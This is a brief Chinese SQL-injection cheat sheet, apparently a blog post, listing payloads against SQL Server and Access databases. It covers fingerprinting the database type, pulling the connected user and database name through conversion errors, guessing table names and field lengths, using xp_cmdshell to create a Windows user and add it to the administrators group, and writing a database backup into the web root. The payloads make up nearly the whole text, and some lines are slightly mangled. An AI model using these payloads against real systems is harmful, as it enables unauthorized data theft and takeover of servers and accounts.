判断数据库类型
(select count(*) fromsysobjects)>0 //sql数据库
(select count(*) from msysobjects)>0 //access数据库
得到Sql用户名
user>0
Conversion failed when converting the nvarchar value 'dbo' to data type int.
重构SQL语句
整数型
(A) ID=49 ID=49 And [ 查询条件] ,即是生成语句:
Select * from 表名 where 字段=49 And [ 查询条件]
字符型
(B) Class= 连续剧
注入的参数为Class= 连续剧’ and [ 查询条件] and ‘’= ’ ,
(C)like ’% 关键字% ’
keyword= ’ and [ 查询条件] and ‘%25 ’= ’,
猜表名
And (Select Count(*) from Admin)>=0
猜长度
and (select top 1 len(username) from Admin)>0
新建用户名
exec master..xp_cmdshell "net user name password /add"--
master..xp_cmdshell "net localgroup administrators name /add"--
db_name()>0 前面有个类似的例子and user>0 ,作用是获取连接用户名,db_name() 是另一个系统变量,返回的是连接的数据库名。
backup database 数据库名 to disk= ’c:/inetpub/wwwroot/1.db ’;--
and (Select Top 1 name from sysobjects where xtype='U' )>0 前面说过,sysobjects 是SQLServer 的系统表,存储着所有的表名、视图、约束及其它对象,
SQL注入与数据库操作技巧
本文介绍了如何通过SQL注入判断数据库类型,获取数据库用户名、表名等信息,并演示了不同类型的SQL语句构造方法。此外,还展示了如何利用扩展存储过程进行数据库备份等高级操作。
26万+

被折叠的 条评论
为什么被折叠?



